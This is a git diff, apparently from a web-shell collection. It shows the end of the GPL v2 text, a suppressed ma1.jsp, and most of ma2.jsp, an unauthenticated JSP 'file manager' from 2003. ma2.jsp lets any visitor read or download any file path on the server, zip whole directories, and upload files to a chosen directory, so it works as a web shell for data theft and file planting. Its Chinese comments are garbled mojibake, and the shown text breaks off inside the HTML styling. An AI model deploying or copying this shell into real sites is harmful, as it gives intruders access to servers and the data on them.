|
||||||
|
|
||||||
|
a) Accompany it with the complete corresponding machine-readable
|
||||||
|
source code, which must be distributed under the terms of Sections
|
||||||
|
1 and 2 above on a medium customarily used for software interchange; or,
|
||||||
|
|
||||||
|
b) Accompany it with a written offer, valid for at least three
|
||||||
|
years, to give any third party, for a charge no more than your
|
||||||
|
cost of physically performing source distribution, a complete
|
||||||
|
machine-readable copy of the corresponding source code, to be
|
||||||
|
distributed under the terms of Sections 1 and 2 above on a medium
|
||||||
|
customarily used for software interchange; or,
|
||||||
|
|
||||||
|
c) Accompany it with the information you received as to the offer
|
||||||
|
to distribute corresponding source code. (This alternative is
|
||||||
|
allowed only for noncommercial distribution and only if you
|
||||||
|
received the program in object code or executable form with such
|
||||||
|
an offer, in accord with Subsection b above.)
|
||||||
|
|
||||||
|
The source code for a work means the preferred form of the work for
|
||||||
|
making modifications to it. For an executable work, complete source
|
||||||
|
code means all the source code for all modules it contains, plus any
|
||||||
|
associated interface definition files, plus the scripts used to
|
||||||
|
control compilation and installation of the executable. However, as a
|
||||||
|
special exception, the source code distributed need not include
|
||||||
|
anything that is normally distributed (in either source or binary
|
||||||
|
form) with the major components (compiler, kernel, and so on) of the
|
||||||
|
operating system on which the executable runs, unless that component
|
||||||
|
itself accompanies the executable.
|
||||||
|
|
||||||
|
If distribution of executable or object code is made by offering
|
||||||
|
access to copy from a designated place, then offering equivalent
|
||||||
|
access to copy the source code from the same place counts as
|
||||||
|
distribution of the source code, even though third parties are not
|
||||||
|
compelled to copy the source along with the object code.
|
||||||
|
|
||||||
|
4. You may not copy, modify, sublicense, or distribute the Program
|
||||||
|
except as expressly provided under this License. Any attempt
|
||||||
|
otherwise to copy, modify, sublicense or distribute the Program is
|
||||||
|
void, and will automatically terminate your rights under this License.
|
||||||
|
However, parties who have received copies, or rights, from you under
|
||||||
|
this License will not have their licenses terminated so long as such
|
||||||
|
parties remain in full compliance.
|
||||||
|
|
||||||
|
5. You are not required to accept this License, since you have not
|
||||||
|
signed it. However, nothing else grants you permission to modify or
|
||||||
|
distribute the Program or its derivative works. These actions are
|
||||||
|
prohibited by law if you do not accept this License. Therefore, by
|
||||||
|
modifying or distributing the Program (or any work based on the
|
||||||
|
Program), you indicate your acceptance of this License to do so, and
|
||||||
|
all its terms and conditions for copying, distributing or modifying
|
||||||
|
the Program or works based on it.
|
||||||
|
|
||||||
|
6. Each time you redistribute the Program (or any work based on the
|
||||||
|
Program), the recipient automatically receives a license from the
|
||||||
|
original licensor to copy, distribute or modify the Program subject to
|
||||||
|
these terms and conditions. You may not impose any further
|
||||||
|
restrictions on the recipients' exercise of the rights granted herein.
|
||||||
|
You are not responsible for enforcing compliance by third parties to
|
||||||
|
this License.
|
||||||
|
|
||||||
|
7. If, as a consequence of a court judgment or allegation of patent
|
||||||
|
infringement or for any other reason (not limited to patent issues),
|
||||||
|
conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot
|
||||||
|
distribute so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you
|
||||||
|
may not distribute the Program at all. For example, if a patent
|
||||||
|
license would not permit royalty-free redistribution of the Program by
|
||||||
|
all those who receive copies directly or indirectly through you, then
|
||||||
|
the only way you could satisfy both it and this License would be to
|
||||||
|
refrain entirely from distribution of the Program.
|
||||||
|
|
||||||
|
If any portion of this section is held invalid or unenforceable under
|
||||||
|
any particular circumstance, the balance of the section is intended to
|
||||||
|
apply and the section as a whole is intended to apply in other
|
||||||
|
circumstances.
|
||||||
|
|
||||||
|
It is not the purpose of this section to induce you to infringe any
|
||||||
|
patents or other property right claims or to contest validity of any
|
||||||
|
such claims; this section has the sole purpose of protecting the
|
||||||
|
integrity of the free software distribution system, which is
|
||||||
|
implemented by public license practices. Many people have made
|
||||||
|
generous contributions to the wide range of software distributed
|
||||||
|
through that system in reliance on consistent application of that
|
||||||
|
system; it is up to the author/donor to decide if he or she is willing
|
||||||
|
to distribute software through any other system and a licensee cannot
|
||||||
|
impose that choice.
|
||||||
|
|
||||||
|
This section is intended to make thoroughly clear what is believed to
|
||||||
|
be a consequence of the rest of this License.
|
||||||
|
|
||||||
|
8. If the distribution and/or use of the Program is restricted in
|
||||||
|
certain countries either by patents or by copyrighted interfaces, the
|
||||||
|
original copyright holder who places the Program under this License
|
||||||
|
may add an explicit geographical distribution limitation excluding
|
||||||
|
those countries, so that distribution is permitted only in or among
|
||||||
|
countries not thus excluded. In such case, this License incorporates
|
||||||
|
the limitation as if written in the body of this License.
|
||||||
|
|
||||||
|
9. The Free Software Foundation may publish revised and/or new versions
|
||||||
|
of the General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the Program
|
||||||
|
specifies a version number of this License which applies to it and "any
|
||||||
|
later version", you have the option of following the terms and conditions
|
||||||
|
either of that version or of any later version published by the Free
|
||||||
|
Software Foundation. If the Program does not specify a version number of
|
||||||
|
this License, you may choose any version ever published by the Free Software
|
||||||
|
Foundation.
|
||||||
|
|
||||||
|
10. If you wish to incorporate parts of the Program into other free
|
||||||
|
programs whose distribution conditions are different, write to the author
|
||||||
|
to ask for permission. For software which is copyrighted by the Free
|
||||||
|
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||||
|
make exceptions for this. Our decision will be guided by the two goals
|
||||||
|
of preserving the free status of all derivatives of our free software and
|
||||||
|
of promoting the sharing and reuse of software generally.
|
||||||
|
|
||||||
|
NO WARRANTY
|
||||||
|
|
||||||
|
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||||
|
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||||
|
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||||
|
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||||
|
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||||
|
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||||
|
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||||
|
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||||
|
REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||||
|
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||||
|
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||||
|
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||||
|
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||||
|
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||||
|
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGES.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
1811
net-friend/jsp/ma1.jsp
Normal file
1811
net-friend/jsp/ma1.jsp
Normal file
File diff suppressed because it is too large
Load Diff
807
net-friend/jsp/ma2.jsp
Normal file
807
net-friend/jsp/ma2.jsp
Normal file
@@ -0,0 +1,807 @@
|
|||||||
|
<%@ page import="java.util.*,java.net.*,java.text.*,java.util.zip.*,java.io.*"%>
|
||||||
|
<%@ page contentType="text/html;charset=gb2312"%>
|
||||||
|
<%!
|
||||||
|
/*
|
||||||
|
**************************************************************************************
|
||||||
|
*JSP <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> v1.001 *
|
||||||
|
*Copyright (C) 2003 by Bagheera *
|
||||||
|
*E-mail:bagheera@beareyes.com *
|
||||||
|
*QQ:179189585 *
|
||||||
|
*http://jmmm.com *
|
||||||
|
*------------------------------------------------------------------------------------*
|
||||||
|
*<2A><><EFBFBD><EFBFBD>:<3A>벻Ҫ<EBB2BB><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DEB8><EFBFBD><EFBFBD>ϰ<EFBFBD>Ȩ<EFBFBD><C8A8>Ϣ! *
|
||||||
|
**************************************************************************************
|
||||||
|
*#######<23><><EFBFBD>ѿռ<D1BF><D5BC><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD>У<EFBFBD><D0A3>뵽<EFBFBD><EBB5BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: *
|
||||||
|
**http://jmmm.com/web/index.jsp <20><><EFBFBD><EFBFBD><EFBFBD>ʺ<EFBFBD>:test <20><><EFBFBD><EFBFBD>:test *
|
||||||
|
**************************************************************************************
|
||||||
|
*/
|
||||||
|
|
||||||
|
//<2F>༭<EFBFBD><E0BCAD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||||
|
private static final int EDITFIELD_COLS =100;
|
||||||
|
//<2F>༭<EFBFBD><E0BCAD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||||
|
private static final int EDITFIELD_ROWS = 30;
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
//<2F>ı<EFBFBD><C4B1>ϴ<EFBFBD><CFB4>ļ<EFBFBD><C4BC>ǵĻ<C7B5><C4BB><EFBFBD>Ŀ¼(һ<>㲻<EFBFBD><E3B2BB>Ҫ<EFBFBD><EFBFBD>)
|
||||||
|
private static String tempdir = ".";
|
||||||
|
|
||||||
|
public class FileInfo{
|
||||||
|
public String name = null,
|
||||||
|
clientFileName = null,
|
||||||
|
fileContentType = null;
|
||||||
|
private byte[] fileContents = null;
|
||||||
|
public File file = null;
|
||||||
|
public StringBuffer sb = new StringBuffer(100);
|
||||||
|
public void setFileContents(byte[] aByteArray){
|
||||||
|
fileContents = new byte[aByteArray.length];
|
||||||
|
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public class HttpMultiPartParser{
|
||||||
|
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||||
|
private final int ONE_MB=1024*1024*1;
|
||||||
|
|
||||||
|
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir)
|
||||||
|
throws IllegalArgumentException, IOException {
|
||||||
|
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||||
|
if (boundary == null || boundary.trim().length() < 1)
|
||||||
|
throw new IllegalArgumentException("boundary");
|
||||||
|
boundary = "--" + boundary;
|
||||||
|
StringTokenizer stLine = null, stFields = null;
|
||||||
|
FileInfo fileInfo = null;
|
||||||
|
Hashtable dataTable = new Hashtable(5);
|
||||||
|
String line = null, field = null, paramName = null;
|
||||||
|
boolean saveFiles=(saveInDir != null && saveInDir.trim().length() > 0),
|
||||||
|
isFile = false;
|
||||||
|
if (saveFiles){
|
||||||
|
File f = new File(saveInDir);
|
||||||
|
f.mkdirs();
|
||||||
|
}
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null || !line.startsWith(boundary))
|
||||||
|
throw new IOException("δ<><CEB4><EFBFBD><EFBFBD>;"
|
||||||
|
+" boundary = " + boundary
|
||||||
|
+", line = " + line);
|
||||||
|
while (line != null){
|
||||||
|
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
stLine = new StringTokenizer(line, ";\r\n");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
|
||||||
|
line = stLine.nextToken().toLowerCase();
|
||||||
|
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
|
||||||
|
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||||
|
if (stFields.countTokens() < 2) throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
|
||||||
|
fileInfo = new FileInfo();
|
||||||
|
stFields.nextToken();
|
||||||
|
paramName = stFields.nextToken();
|
||||||
|
isFile = false;
|
||||||
|
if (stLine.hasMoreTokens()){
|
||||||
|
field = stLine.nextToken();
|
||||||
|
stFields = new StringTokenizer(field, "=\"");
|
||||||
|
if (stFields.countTokens() > 1){
|
||||||
|
if (stFields.nextToken().trim().equalsIgnoreCase("filename")){
|
||||||
|
fileInfo.name=paramName;
|
||||||
|
String value = stFields.nextToken();
|
||||||
|
if (value != null && value.trim().length() > 0){
|
||||||
|
fileInfo.clientFileName=value;
|
||||||
|
isFile = true;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
line = getLine(is); // ȥ<><C8A5>"Content-Type:"<22><>
|
||||||
|
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
|
||||||
|
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
|
||||||
|
line = getLine(is); // <20><>λ
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (field.toLowerCase().indexOf("filename") >= 0){
|
||||||
|
line = getLine(is); // ȥ<><C8A5>"Content-Type:"<22><>
|
||||||
|
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
|
||||||
|
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
|
||||||
|
line = getLine(is); // <20><>λ
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
boolean skipBlankLine = true;
|
||||||
|
if (isFile){
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
if (line.trim().length() < 1) skipBlankLine = false;
|
||||||
|
else{
|
||||||
|
stLine = new StringTokenizer(line, ": ");
|
||||||
|
if (stLine.countTokens() < 2)
|
||||||
|
throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
|
||||||
|
stLine.nextToken();
|
||||||
|
fileInfo.fileContentType=stLine.nextToken();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (skipBlankLine){
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
}
|
||||||
|
if (!isFile){
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
dataTable.put(paramName, line);
|
||||||
|
//<2F>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪĿ¼
|
||||||
|
if (paramName.equals("dir")){
|
||||||
|
saveInDir = line;
|
||||||
|
System.out.println(line);
|
||||||
|
}
|
||||||
|
line = getLine(is);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try{
|
||||||
|
OutputStream os = null;
|
||||||
|
String path = null;
|
||||||
|
if (saveFiles)
|
||||||
|
os = new FileOutputStream(path = getFileName(saveInDir,
|
||||||
|
fileInfo.clientFileName));
|
||||||
|
else os = new ByteArrayOutputStream(ONE_MB);
|
||||||
|
boolean readingContent = true;
|
||||||
|
byte previousLine[] = new byte[2 * ONE_MB];
|
||||||
|
byte temp[] = null;
|
||||||
|
byte currentLine[] = new byte[2 * ONE_MB];
|
||||||
|
int read, read3;
|
||||||
|
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
while (readingContent){
|
||||||
|
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (compareBoundary(boundary, currentLine)){
|
||||||
|
os.write( previousLine, 0, read );
|
||||||
|
os.flush();
|
||||||
|
line = new String( currentLine, 0, read3 );
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
os.write( previousLine, 0, read );
|
||||||
|
os.flush();
|
||||||
|
temp = currentLine;
|
||||||
|
currentLine = previousLine;
|
||||||
|
previousLine = temp;
|
||||||
|
read = read3;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
os.close();
|
||||||
|
temp = null;
|
||||||
|
previousLine = null;
|
||||||
|
currentLine = null;
|
||||||
|
if (!saveFiles){
|
||||||
|
ByteArrayOutputStream baos = (ByteArrayOutputStream)os;
|
||||||
|
fileInfo.setFileContents(baos.toByteArray());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
fileInfo.file = new File(path);
|
||||||
|
os = null;
|
||||||
|
}
|
||||||
|
dataTable.put(paramName, fileInfo);
|
||||||
|
}
|
||||||
|
catch (IOException e) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dataTable;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>Ƚ<EFBFBD><C8BD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
private boolean compareBoundary(String boundary, byte ba[]){
|
||||||
|
byte b;
|
||||||
|
if (boundary == null || ba == null) return false;
|
||||||
|
for (int i=0; i < boundary.length(); i++)
|
||||||
|
if ((byte)boundary.charAt(i) != ba[i]) return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private synchronized String getLine(ServletInputStream sis) throws IOException{
|
||||||
|
byte b[] = new byte[1024];
|
||||||
|
int read = sis.readLine(b, 0, b.length), index;
|
||||||
|
String line = null;
|
||||||
|
if (read != -1){
|
||||||
|
line = new String(b, 0, read);
|
||||||
|
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index-1);
|
||||||
|
}
|
||||||
|
b = null;
|
||||||
|
return line;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFileName(String dir, String fileName) throws IllegalArgumentException{
|
||||||
|
String path = null;
|
||||||
|
if (dir == null || fileName == null) throw new IllegalArgumentException("Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||||
|
int index = fileName.lastIndexOf('/');
|
||||||
|
String name = null;
|
||||||
|
if (index >= 0) name = fileName.substring(index + 1);
|
||||||
|
else name = fileName;
|
||||||
|
index = name.lastIndexOf('\\');
|
||||||
|
if (index >= 0) fileName = name.substring(index + 1);
|
||||||
|
path = dir + File.separator + fileName;
|
||||||
|
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||||
|
else return path.replace('/', File.separatorChar);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>
|
||||||
|
* @author bagheera
|
||||||
|
* @version 1.001
|
||||||
|
*/
|
||||||
|
class FileComp implements Comparator{
|
||||||
|
int mode=1;
|
||||||
|
/**
|
||||||
|
* @<40><><EFBFBD><EFBFBD> 1=<3D>ļ<EFBFBD><C4BC><EFBFBD>, 2=<3D><>С, 3=<3D><><EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
FileComp (int mode){
|
||||||
|
this.mode=mode;
|
||||||
|
}
|
||||||
|
public int compare(Object o1, Object o2){
|
||||||
|
File f1 = (File)o1;
|
||||||
|
File f2 = (File)o2;
|
||||||
|
if (f1.isDirectory()){
|
||||||
|
if (f2.isDirectory()){
|
||||||
|
switch(mode){
|
||||||
|
case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase());
|
||||||
|
case 2:return new Long(f1.length()).compareTo(new Long(f2.length()));
|
||||||
|
case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()));
|
||||||
|
default:return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else return -1;
|
||||||
|
}
|
||||||
|
else if (f2.isDirectory()) return 1;
|
||||||
|
else{
|
||||||
|
switch(mode){
|
||||||
|
case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase());
|
||||||
|
case 2:return new Long(f1.length()).compareTo(new Long(f2.length()));
|
||||||
|
case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()));
|
||||||
|
default:return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class Writer2Stream extends OutputStream{
|
||||||
|
Writer out;
|
||||||
|
Writer2Stream (Writer w){
|
||||||
|
super();
|
||||||
|
out=w;
|
||||||
|
}
|
||||||
|
public void write(int i) throws IOException{
|
||||||
|
out.write(i);
|
||||||
|
}
|
||||||
|
public void write(byte[] b) throws IOException{
|
||||||
|
for (int i=0;i<b.length;i++){
|
||||||
|
int n=b[i];
|
||||||
|
//Convert byte to ubyte
|
||||||
|
n=((n>>>4)&0xF)*16+(n&0xF);
|
||||||
|
out.write (n);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void write(byte[] b, int off, int len) throws IOException{
|
||||||
|
for (int i=off;i<off+len;i++){
|
||||||
|
int n=b[i];
|
||||||
|
n=((n>>>4)&0xF)*16+(n&0xF);
|
||||||
|
out.write (n);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static Vector expandFileList(String[] files, boolean inclDirs){
|
||||||
|
Vector v = new Vector();
|
||||||
|
if (files==null) return v;
|
||||||
|
for (int i=0;i<files.length;i++) v.add (new File(URLDecoder.decode(files[i])));
|
||||||
|
for (int i=0;i<v.size();i++){
|
||||||
|
File f = (File) v.get(i);
|
||||||
|
if (f.isDirectory()){
|
||||||
|
File[] fs = f.listFiles();
|
||||||
|
for (int n=0;n<fs.length;n++) v.add(fs[n]);
|
||||||
|
if (!inclDirs){
|
||||||
|
v.remove(i);
|
||||||
|
i--;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return v;
|
||||||
|
}
|
||||||
|
|
||||||
|
static String substr(String s, String search, String replace){
|
||||||
|
StringBuffer s2 = new StringBuffer ();
|
||||||
|
int i = 0, j = 0;
|
||||||
|
int len = search.length();
|
||||||
|
while ( j > -1 ){
|
||||||
|
j = s.indexOf( search, i );
|
||||||
|
if ( j > -1 ){
|
||||||
|
s2.append( s.substring(i,j) );
|
||||||
|
s2.append( replace );
|
||||||
|
i = j + len;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
s2.append( s.substring(i, s.length()) );
|
||||||
|
return s2.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static String getDir (String dir, String name){
|
||||||
|
if (!dir.endsWith(File.separator)) dir=dir+File.separator;
|
||||||
|
File mv = new File (name);
|
||||||
|
String new_dir=null;
|
||||||
|
if (!mv.isAbsolute()){
|
||||||
|
new_dir=dir+name;
|
||||||
|
}
|
||||||
|
else new_dir=name;
|
||||||
|
return new_dir;
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
<%
|
||||||
|
request.setAttribute("dir", request.getParameter("dir"));
|
||||||
|
String browser_name = request.getRequestURI();
|
||||||
|
|
||||||
|
//<2F>鿴<EFBFBD>ļ<EFBFBD>
|
||||||
|
if (request.getParameter("file")!=null){
|
||||||
|
File f = new File (request.getParameter("file"));
|
||||||
|
BufferedInputStream reader = new BufferedInputStream(new FileInputStream(f));
|
||||||
|
int l = f.getName().lastIndexOf(".");
|
||||||
|
//<2F>ж<EFBFBD><D0B6>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
if (l>=0){
|
||||||
|
String ext = f.getName().substring(l).toLowerCase();
|
||||||
|
if (ext.equals(".jpg")||ext.equals(".jpeg")||ext.equals(".jpe"))
|
||||||
|
response.setContentType("image/jpeg");
|
||||||
|
else if (ext.equals(".gif")) response.setContentType("image/gif");
|
||||||
|
else if (ext.equals(".pdf")) response.setContentType("application/pdf");
|
||||||
|
else if (ext.equals(".htm")||ext.equals(".html")||ext.equals(".shtml")) response.setContentType("text/html");
|
||||||
|
else if (ext.equals(".avi")) response.setContentType("video/x-msvideo");
|
||||||
|
else if (ext.equals(".mov")||ext.equals(".qt")) response.setContentType("video/quicktime");
|
||||||
|
else if (ext.equals(".mpg")||ext.equals(".mpeg")||ext.equals(".mpe"))
|
||||||
|
response.setContentType("video/mpeg");
|
||||||
|
else if (ext.equals(".zip")) response.setContentType("application/zip");
|
||||||
|
else if (ext.equals(".tiff")||ext.equals(".tif")) response.setContentType("image/tiff");
|
||||||
|
else if (ext.equals(".rtf")) response.setContentType("application/rtf");
|
||||||
|
else if (ext.equals(".mid")||ext.equals(".midi")) response.setContentType("audio/x-midi");
|
||||||
|
else if (ext.equals(".xl")||ext.equals(".xls")||ext.equals(".xlv")||ext.equals(".xla")
|
||||||
|
||ext.equals(".xlb")||ext.equals(".xlt")||ext.equals(".xlm")||ext.equals(".xlk"))
|
||||||
|
response.setContentType("application/excel");
|
||||||
|
else if (ext.equals(".doc")||ext.equals(".dot")) response.setContentType("application/msword");
|
||||||
|
else if (ext.equals(".png")) response.setContentType("image/png");
|
||||||
|
else if (ext.equals(".xml")) response.setContentType("text/xml");
|
||||||
|
else if (ext.equals(".svg")) response.setContentType("image/svg+xml");
|
||||||
|
else response.setContentType("text/plain");
|
||||||
|
}
|
||||||
|
else response.setContentType("text/plain");
|
||||||
|
response.setContentLength((int)f.length());
|
||||||
|
out.clearBuffer();
|
||||||
|
int i;
|
||||||
|
while ((i=reader.read())!=-1) out.write(i);
|
||||||
|
reader.close();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>Ϊzip<69>ļ<EFBFBD>
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Save as zip"))){
|
||||||
|
Vector v = expandFileList(request.getParameterValues("selfile"), false);
|
||||||
|
File dir_file = new File(""+request.getAttribute("dir"));
|
||||||
|
int dir_l = dir_file.getAbsolutePath().length();
|
||||||
|
response.setContentType ("application/zip");
|
||||||
|
response.setHeader ("Content-Disposition", "attachment;filename=\"bagheera.zip\"");
|
||||||
|
out.clearBuffer();
|
||||||
|
ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
|
||||||
|
zipout.setComment("Created by JSP <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1.001");
|
||||||
|
for (int i=0;i<v.size();i++){
|
||||||
|
File f = (File)v.get(i);
|
||||||
|
if (f.canRead()){
|
||||||
|
zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l+1)));
|
||||||
|
BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
|
||||||
|
int b;
|
||||||
|
while ((b=fr.read())!=-1) zipout.write(b);
|
||||||
|
fr.close();
|
||||||
|
zipout.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
zipout.finish();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
else if (request.getParameter("downfile")!=null){
|
||||||
|
String filePath = request.getParameter("downfile");
|
||||||
|
File f = new File(filePath);
|
||||||
|
if (f.exists()&&f.canRead()) {
|
||||||
|
response.setContentType ("application/octet-stream");
|
||||||
|
response.setHeader ("Content-Disposition", "attachment;filename=\""+f.getName()+"\"");
|
||||||
|
response.setContentLength((int) f.length());
|
||||||
|
BufferedInputStream fileInputStream = new BufferedInputStream(new FileInputStream(f));
|
||||||
|
int i;
|
||||||
|
out.clearBuffer();
|
||||||
|
while ((i=fileInputStream.read()) != -1) out.write(i);
|
||||||
|
fileInputStream.close();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
out.println("<html><body><h1><3E>ļ<EFBFBD>"+f.getAbsolutePath()+
|
||||||
|
"<22><><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD><DABB><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8></h1></body></html>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
else{
|
||||||
|
if (request.getAttribute("dir")==null){
|
||||||
|
request.setAttribute ("dir", application.getRealPath("."));
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="content-type" content="text/html; charset=gb2312">
|
||||||
|
<style type="text/css">
|
||||||
|
